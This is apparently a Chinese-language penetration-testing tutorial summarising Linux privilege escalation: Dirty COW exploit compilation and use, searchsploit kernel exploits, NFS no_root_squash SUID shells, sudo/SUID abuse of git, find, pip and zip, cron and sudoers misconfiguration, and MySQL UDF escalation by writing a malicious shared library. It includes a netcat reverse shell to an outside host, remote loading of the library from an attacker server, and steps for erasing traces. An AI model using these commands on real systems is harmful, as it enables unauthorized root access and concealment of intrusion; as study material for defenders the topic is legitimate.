Liunx提权总结
Liunx内核提权
Cve-2016-5195
脏牛漏洞,又叫Dirty COW,存在Liunx内核中已经有长达9年的时间,在2007年发布的liunx内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
该漏洞具体为,Liunx内核的内存子系统在处理写入时复制时产生了竞争条件(race confition)。恶意用户可以利用此漏洞,来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执行顺序异常,这样可能会导致应用崩溃,或者是令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
Liunx内核>=2.6.22
触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
代码分析:
main函数将用户输入的只读文件mmap映射,flag参数是map_private其只读。map_private属性会对此内存写入时,创建一个cow的副本,然后创建2个线程madviseThread
和procselfmenThread
,其中procselfmenThread
通过/proc/self/mem
文件尝试向被映射的内存不断写入数据,madviseThread
则不断调用取消映射,两个线程不断操作。竞争条件触发只读文件写入权限,流畅在内核代码中。
触发方式:
1 | #echo this is not a test > foo |
exp1:https://github.com/FireFart/dirtycow
exp2:https://github.com/gbonacini/CVE-2016-5195
将exp1上传到目标机器,使用gcc-pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件。
将exp2上传到目标机器,解压,进入解压目录。
执行make后生成可执行文件dcow,执行./dcow -s如果成功的话,就可以返回一个root权限的shell
测试环境:
这里直接使用网上靶场复现:
如果可以写入写入foo文件,表示该机器存在脏牛提权漏洞。
在目标机器上上传liunx-exloit-suggester.sh
帮助检测该liunx机器有哪些内核提权漏洞。
利用kali进行内核提权
查看系统发行版本
1 | cat /etc/issue |
查看内核版本信息
1 | uname -a |
搜索该版本漏洞
1 | searchsploit xxxx XXXXX |
把对应版本的文件上传到服务器编译执行
1 | gcc -pthread 40839.c -o 40839 -lcrypt |
运行然后输入密码,再通过命令切换用户即可
1 | su root |
第三方服务提权
netstat-antup 查看各种网络服务
NFS提权
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
什么是root_sqaush和no_root_saush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户”nfsnobody”,它具有最少的本地特权.如果no_root_squash选项开启的话,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用”root_squash”权限。
注意:要利用此,no_root_squash选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看”/etc/exports”文件。
/etc/exports文件包含哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录][主机名或ip(参数,参数)]
1 | 其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 |
当服务器中存在nfs共享,且开启了no_root_squash选项时,这时如果客户端使用的是root权限,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
查看nfs服务器上的共享目录
1 | sudo showmount -e x.x.x.x(nfs主机ip) |
创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
1 | sudo mkdir -p /tmp |
回到要提权的服务器上,使用普通用户使用shell-p来获取root权限。
git提权
1 | sudo git -p help |
或者
1 | sudo git help config |
find提权
如果将SUID权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道find
命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。
拿到普通用户权限之后,使用sudo -l查看下,查看当前用户是否存在当前用户可以调用sudo的命令。
1 | touch getshell |
1 | find / -user root -perm 4000 -print 2>/dev/null |
nc反向反弹
1 | find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \; |
pip提权
1 | TF=$(mktemp -d) |
zip提权
1 | TF=$(mktemp -u) |
数据库提权
在⾏动之前,我们需要搞清楚,⽬标主机上是否存在MySQL、MySQL运⾏在默认的端⼝还是指定的端⼝、MySQL 的版本信息、MySQL⽤户信息等等。Mysql默认端⼝是3306端⼝,但也有⾃定义端⼝,针对默认端⼝扫描主要利⽤ 扫描软件进⾏探测。我们可以⽤nmap等端⼝扫描⼯具对MySQL的端⼝进⾏扫描。如果已经获得了⽬标MySQL的密 码,我们可以使⽤该⽤户名和密码扫描获取指定IP地址的端⼝信息以及mysql数据库相关信息:
1 | nmap -sV -sC 192.168.1.13 |
Nmap还内置了多个mysql相关脚本,有审计、暴力破解、hash、空密码扫描、枚举、基本信息、查询、变量等:
1 | /usr/share/nmap/scripts/mysql-audit.nse |
Metasploit也有几个可用于收集mysql信息的模块:
1 | 获取mysql相关信息: |
我们还可以通过使用sqlmap来通过注入点扫描获取目标数据库的信息。sqlmap在测试注入点的时候,会枚举出目标主机的数据库类型,版本等信息。
mysql udf提权执行系统命令
UDF是MySQL的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展mysql的技术手段。
使⽤过MySQL的⼈都知道,MySQL有很多内置函数提供给使⽤者,包括字符串函数、数值函数、⽇期和时间函数 等,给开发⼈员和使⽤者带来了很多⽅便。MySQL的内置函数虽然丰富,但毕竟不能满⾜所有⼈的需要,当 MySQL的内置函数不能满⾜需要的时候,就需要对MySQL进⾏⼀些扩展,幸运的是,MySQL给使⽤者提供了添加 新函数的机制,这种使⽤者⾃⾏添加的MySQL函数就称为UDF(User Define Function)。
当我们有了数据库读取和写⼊权限以后,我们就可以尝试使⽤UDF提权的⽅法,从数据库root权限提升到系统的管理员权限。
提权原理
UDF得使用需要调用其动态链接库文件(.dll或.so),使用udf提权原理大概是通过引入恶意的udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
利用条件:
- 掌握mysql数据库的账户,拥有对mysql的insert和delete权限,以此创建和抛弃函数
- 当前用户拥有可以将udf.dll写入相应目录的权限
- 如果mysql版本小于5.1且为windows系统,则udf.dll文件存放在C:\windows或者C:\windows\system32目录下。
- 如果mysql版本大于5.1. udf.dll文件必须放置在mysql安装目录的lib/plugin文件夹下,该plugin目录默认不存在,需要创建。
假设我的udf文件名为udf.dll,存放在mysql安装目录的lib/plugin目录下(mysql>5.1):
在udf.dll文件中,我定义了一个名为sys_eval()的mysql函数,该函数可以执行系统任意命令。但是如果我现在就打开mysql命令行,使用select sys_eval(‘whoami’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把udf.dll放到了lib/plugin目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包的类你是用不了的。所以,我们应该把udf.dll中的自定义函数引入进来。引入的方法如下:
1 | create function sys_eval returns string soname 'udf.dll'; |
sys_eval:我们要引入的函数名。
udf.dll:我们要从中引入函数的链接库文件
成功引入函数后,可以查看一下mysql函数里面新增了sys_eval:
1 | select * from mysql.func; |
当我们通过各种方法获取了目标mysql数据库的权限并且满足udf提权的条件后,我们可以按照以下步骤进行提权。
1.查看secure_file_priv的值
secure_file_priv是用来限制into dumpfile,into outfile.load_file()能在哪个目录下导出或者读取文件的,所以该值为空是我们利用udf提权的首要条件。
1 | mysql> show variables like '%secure_file_priv%'; |
2. 查看系统架构及plugin插件目录
UDF的dll动态链接库文件需要放在该目录下:
1 | mysql> show variables like '%compile%'; # 查看主机版本及架构 |
可知该主机plugin插件目录为/www/server/mysql/lib/plugin/
如果该目录不存在的话可以手工创建该文件夹。
3. 将我们构造的恶意动态链接库文件写入plugin插件目录
我们应该去哪儿找恶意的动态链接库文件呢?Sqlmap和Metasploit工具里面都自带了对应系统的动态链接库文件。
下面是两者的UDF动态链接库文件的存放位置
1 | sqlmap: 位于sqlmap/data/udf/mysql目录下,包含64位和32位liunx和windows系统下利用的动态链接库文件 |
ps:sqlmap中自带的动态链接库为了防止被杀软误杀都要经过编码处理,不能直接使用。使用之前需要先用sqlmap自带的解码工具cloak.py(extra/cloak目录下)解码
1 | python3 cloak.py -d -i <动态链接库文件名> |
找到目标主机对应系统版本和位数的UDF文件后,我们需要将UDF文件写入plugin插件目录,大多数情况下我们是将.dll转化成16进制然后再写入
首先再攻击者本地,将lib_mysqludf_sys_64.so或lib_mysqludf_sys_32.so中的内容进行十六进制编码:
1 | select hex(load_file('lib_mysqludf_sys_64.so')) into outfile "udf_64.hex" |
生成了hex文件以后我们可以将udf_53.hex文件的内容复制出来,注意前面加上(0x),然后执行如下命令写入目标机的lib/plugin插件目录下:
1 | select |
但是由于数据过长,我们需要将其分段写入。即先创建一个表,然后将十六进制数据分段写入表中,最后将含有数据的那个字段导出到udf.so,操作如下:
1 | create table temp(data longblob); |
还有一个方法便是利用load_file()函数,该函数支持远程加载,我们可以将udf文件放在公用服务器上,执行如下命令让目标服务器远程加载该文件并下载到指定目录里:
1 | select load_file('\\\\xxx.xxx.xxx.xxx\udf.so') into dumpfile |
引入的方式如下:
1 | create function sys_eval returns string soname 'udf.so'; |
成功引入该函数后,我们便可以像执行其他mysql内置函数一样去使用该函数了。
1 | select sys_eval('whoami'); |
清理痕迹
删除自定义函数
1 | drop function sys_eval; |
liunx udf提权
这里使用了网上的靶机Raven2。
在经过前面的步骤后,可以找到数据库的密码,可以使用数据库提权。
可以找到mysql数据库的用户名和密码
使用命令
1 | uname -a |
查找系统版本,确认是64位系统Liunx
从/user/share/metasploit-framework/data/exploits/mysql
目录下考取出对应的lib_mysqludf_sys_64.so
之后通过
1 | python -m http.server |
命令启动一个http服务,使用wget将该文件下至靶机上并改名sdfz_udf.so
文件
1 | mysql> use mysql; |
接下来可以使用find-exec 参数执行命令,获得权限root
Suid提权
运行某些程序暂时获得root权限,例如ping命令
搜索符合条件的可以用来提权的:
1 | find / -perm -u=s -type f 2>/dev/null |
搜索可以提权的程序,一般有以下:
1 | nmap vim find bash more less nano cp |
计划任务提权
如果可以找到有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当。查看计划任务,找到有修改权限的计划任务脚本。
1 | ls -l /etc/corn* |
可见以下资料:https://www.cnblogs.com/sfsec/p/15163907.html
Sudo提权
普通用户一般是无法运行root所有者的命令的,但是运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。
- 通过查看/etc/passwd文件找到登录用户
- 通过id命令查看两个用户所属组
- 通过查看/etc/group文件查看sudo组成员
- 通过查看各登录用户家目录隐藏文件,寻找.sudo_as_admin_successful文件,证实sudo成功使用
- 在某些时刻sudo被设置为
NOPASSWD
如下,可以sudo -l
https://gtfobins.github.io/这个网站可以让你在发现sudo提权可以用的时候。给你搭建一个shell。
1 | $vi /etc/sudoers |